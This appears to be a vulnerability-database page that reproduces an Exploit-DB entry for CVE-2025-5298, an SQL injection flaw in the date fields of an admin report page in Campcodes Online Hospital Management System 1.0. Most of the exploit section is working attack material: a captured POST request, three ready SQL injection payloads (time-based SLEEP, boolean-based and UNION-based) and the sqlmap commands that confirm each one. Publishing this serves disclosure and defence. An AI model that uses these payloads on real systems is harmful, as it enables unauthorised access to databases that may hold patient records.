Lucene search
+L

Campcodes Online Hospital Management System 1.0 - SQL Injection

🗓️ 29 May 2025 00:00:00Reported by Carine ConstantinoType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 344 Views

Campcodes Online Hospital Management System 1.0 has SQL Injection vulnerabilities in date fields.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2025-5298
28 May 202512:13
circl
cnnvd
CNNVD
CampCodes Online Hospital Management System 注入漏洞
28 May 202500:00
cnnvd
cve
CVE
CVE-2025-5298
28 May 202511:31
cve
cvelist
Cvelist
CVE-2025-5298 Campcodes Online Hospital Management System betweendates-detailsreports.php sql injection
28 May 202511:31
cvelist
euvd
EUVD
EUVD-2025-16330
3 Oct 202520:07
euvd
nvd
NVD
CVE-2025-5298
28 May 202512:15
nvd
osv
OSV
CVE-2025-5298
28 May 202512:15
osv
packetstorm
Packet Storm
📄 Campcodes Online Hospital Management System 1.0 SQL Injection
29 May 202500:00
packetstorm
ptsecurity
Positive Technologies
PT-2025-23079 · Unknown · Campcodes Online Hospital Management System
28 May 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2025-5298
30 May 202511:51
redhatcve
Rows per page
# Exploit Title: Campcodes Online Hospital Management System 1.0 - SQL Injection
# Google Dork: N/A
# Exploit Author: Carine Constantino
# Vendor Homepage: https://www.campcodes.com
# Software Link: https://www.campcodes.com/projects/online-hospital-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Linux - Ubuntu Ubuntu 23.10
# CVE: CVE-2025-5298

# Campcodes Online Hospital Management System 1.0 is vulnerable to SQL Injection
# The report in admin/betweendates-detailsreports.php does not validate ‘fromdate’ and ‘todate’ fields
#  And allows the processing of SQL Injection queries of the types:

# blind time-based in the ‘fromdate’ field
# boolean-based in the ‘todate’ field
# Union Query in the ‘todate’ field

‘fromdate’ field is vulnerable to SQL Injection on reports accessed on “/admin/betweendates-detailsreports.php” from POST request

POST /HospitalManagementSystem/hospital/hms/admin/betweendates-detailsreports.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/HospitalManagementSystem/hospital/hms/admin/between-dates-reports.php
Cookie: ajs_anonymous_id=e18be7d3-2b50-4bed-9962-5cfab989426f; PHPSESSID=hfb8j1phivvf11o2j9cd492oqe
Upgrade-Insecure-Requests: 1
Priority: u=0, i

fromdate=&todate=&submit=

=======================================|| Blind Time Based - ‘fromdate’ field ||==============================================

SQLMap identified the following injection payload:

Parameter: fromdate (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: fromdate=2019-01-01' AND (SELECT 5962 FROM (SELECT(SLEEP(5)))danz) AND 'awPP'='awPP&todate=2025-05-28&submit=

SQLMap first command to confirm the vulnerability: “sqlmap -r request.txt -p fromdate --dbs --random-agent --technique=T”


=======================================|| Boolean Based - ‘todate’ field ||==============================================

‘todate’ field is vulnerable to SQL Injection on reports accessed on “/admin/betweendates-detailsreports.php” from POST request
SQLMap identified the following injection payload:

Parameter: todate (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: fromdate=2019-01-01&todate=2025-05-28' AND 3290=3290 AND 'yOfc'='yOfc&submit=

SQLMap first command to confirm the vulnerability: “sqlmap -r request.txt -p todate --dbs --random-agent --technique=B”

=======================================|| Union Query - ‘todate’ field ||==============================================

Another technique on ‘todate’ field can be exploited
SQLMap identified the following injection payload:

Parameter: todate (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: fromdate=2019-01-01&todate=2025-05-28' UNION ALL SELECT CONCAT(CONCAT('qkpxq','eLwmjRlXmPYByrACqjbUDqzOqYmBeKwQSUSMNXdM'),'qzzbq'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ckvh&submit=


SQLMap first command to confirm the vulnerability: “sqlmap -r request.txt -p todate --dbs --random-agent --technique=U”

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 May 2025 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.17.3 - 9.8
CVSS 46.9
CVSS 27.5
CVSS 37.3
EPSS0.00862
SSVC
344